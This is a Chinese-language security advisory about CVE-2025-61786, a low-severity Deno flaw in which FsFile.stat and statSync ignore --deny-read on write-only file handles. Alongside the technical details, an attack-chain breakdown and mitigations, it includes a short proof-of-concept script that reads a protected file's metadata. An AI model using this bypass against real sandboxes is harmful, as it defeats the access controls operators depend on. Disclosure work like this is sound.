IPBUF安全漏洞报告
English
CVE-2025-61786 CVSS 3.3 低危

CVE-2025-61786:Deno权限模型绕过漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-61786
漏洞类型
权限绕过
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Deno

相关标签

权限绕过Deno沙箱逃逸信息泄露CWE-732权限检查不一致本地攻击JavaScript运行时

漏洞概述

CVE-2025-61786是Deno JavaScript/TypeScript/WebAssembly运行时中的一个权限模型绕过漏洞。在2.5.3和2.2.15之前的版本中,`Deno.FsFile.prototype.stat`和`Deno.FsFile.prototype.statSync`方法未受到`--deny-read=./`权限检查的限制。这意味着即使脚本以`--deny-read`权限运行,用户仍然可以通过已打开的文件句柄获取文件的元数据信息(如文件大小、修改时间、权限等),从而绕过Deno的权限安全模型。类似的标准API如`Deno.stat`和`Deno.statSync`需要`allow-read`权限才能执行,但通过先以仅写权限打开文件,再调用stat方法,攻击者可以在不拥有读权限的情况下获取文件敏感信息。该漏洞的CVSS评分为3.3,属于低危级别,但作为权限沙箱绕过漏洞,对依赖Deno权限模型保障安全的应用程序构成潜在威胁。Deno团队已在2.5.3和2.2.15版本中修复了此问题,通过对FsFile的stat方法实施与普通stat API一致的权限检查来修复该漏洞。

技术细节

Deno运行时设计了一套基于权限的安全沙箱模型,用户可以通过`--allow-read`、`--deny-read`等命令行参数控制脚本对文件系统的访问权限。在正常情况下,调用`Deno.stat()`或`Deno.statSync()`需要`allow-read`权限,否则在权限不足时会抛出PermissionDenied错误。然而,该漏洞的根本原因在于`Deno.FsFile.prototype.stat`和`Deno.FsFile.prototype.statSync`方法的权限检查逻辑存在缺陷:当一个文件以仅写模式(如`write`、`append`、`writeSync`等)打开时,Deno不会检查该文件是否在`--deny-read`范围内,允许通过文件句柄直接调用stat方法获取文件元数据。攻击者利用方式如下:首先使用`Deno.open()`以写权限打开目标文件(不需要读权限),然后调用`file.stat()`或`file.statSync()`方法获取文件的stat信息(包括文件大小、修改时间、inode信息、权限位等),从而绕过权限模型获取敏感元数据。该漏洞属于典型的权限检查不一致问题(Inconsistent Permission Enforcement,CWE-732),利用条件为本地攻击、需要低权限认证且无需用户交互。

攻击链分析

STEP 1
步骤1:环境准备
攻击者在Deno脚本中以`--deny-read=./`权限运行,创建一个包含敏感数据的文件(如secret.txt),该文件应被deny-read策略保护。
STEP 2
步骤2:打开文件句柄
攻击者使用`Deno.open()`或`Deno.openSync()`以仅写权限(write: true)打开目标文件。由于打开操作只需要写权限,不受`--deny-read`限制,因此可以成功获取文件句柄。
STEP 3
步骤3:调用stat方法绕过权限检查
攻击者通过已获取的文件句柄调用`file.stat()`或`file.statSync()`方法。Deno运行时未对该方法的stat调用进行与`Deno.stat()`一致的权限检查,导致绕过`--deny-read`限制。
STEP 4
步骤4:获取文件元数据
成功获取文件的stat信息,包括文件大小(可推断内容长度)、修改时间、权限位、inode信息、创建时间等敏感元数据,造成信息泄露。
STEP 5
步骤5:利用元数据进行进一步攻击
攻击者利用获取的元数据进行侧信道攻击或信息收集,例如通过文件大小推断加密密钥长度、通过修改时间推断文件操作模式等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-61786 PoC - Deno FsFile.stat permission bypass // Run with: deno run --deny-read=./ poc.ts // Step 1: Create a sensitive file that we should not be able to read try { Deno.writeTextFileSync("./secret.txt", "This is sensitive data"); } catch (e) { console.log("Setup: secret.txt created"); } // Step 2: Open the file with WRITE-ONLY permissions (no read permission needed) // This bypasses the --deny-read permission check const file = Deno.openSync("./secret.txt", { write: true }); // Step 3: Call stat() on the file handle to retrieve file metadata // This should be blocked by --deny-read but is NOT due to the vulnerability const fileStat = file.statSync(); // Step 4: Exfiltrate the metadata (size, mtime, permissions, etc.) console.log("File size:", fileStat.size); console.log("File mode:", fileStat.mode); console.log("Modified time:", fileStat.mtime); console.log("Is file:", fileStat.isFile); console.log("Is symlink:", fileStat.isSymlink); console.log("Birthtime:", fileStat.birthtime); // Step 5: Verify that direct stat is properly blocked (control test) try { Deno.statSync("./secret.txt"); console.log("ERROR: Direct stat should have been blocked!"); } catch (e) { console.log("Direct stat correctly blocked:", e.message); } file.close(); Deno.removeSync("./secret.txt");

影响范围

Deno < 2.2.15
Deno 2.3.x
Deno 2.4.x
Deno 2.5.0 - 2.5.2

防御指南

临时缓解措施
在无法立即升级Deno版本的情况下,可以通过以下临时措施缓解风险:1)避免在多租户环境中使用受影响版本的Deno执行不可信脚本;2)在自定义权限检查层中添加对FsFile.stat/statSync方法的额外权限验证;3)使用seccomp或系统级沙箱限制Deno进程的文件系统访问范围;4)审计现有Deno脚本,确保没有依赖FsFile.stat绕过权限模型的逻辑。建议优先升级到修复版本以彻底解决此问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表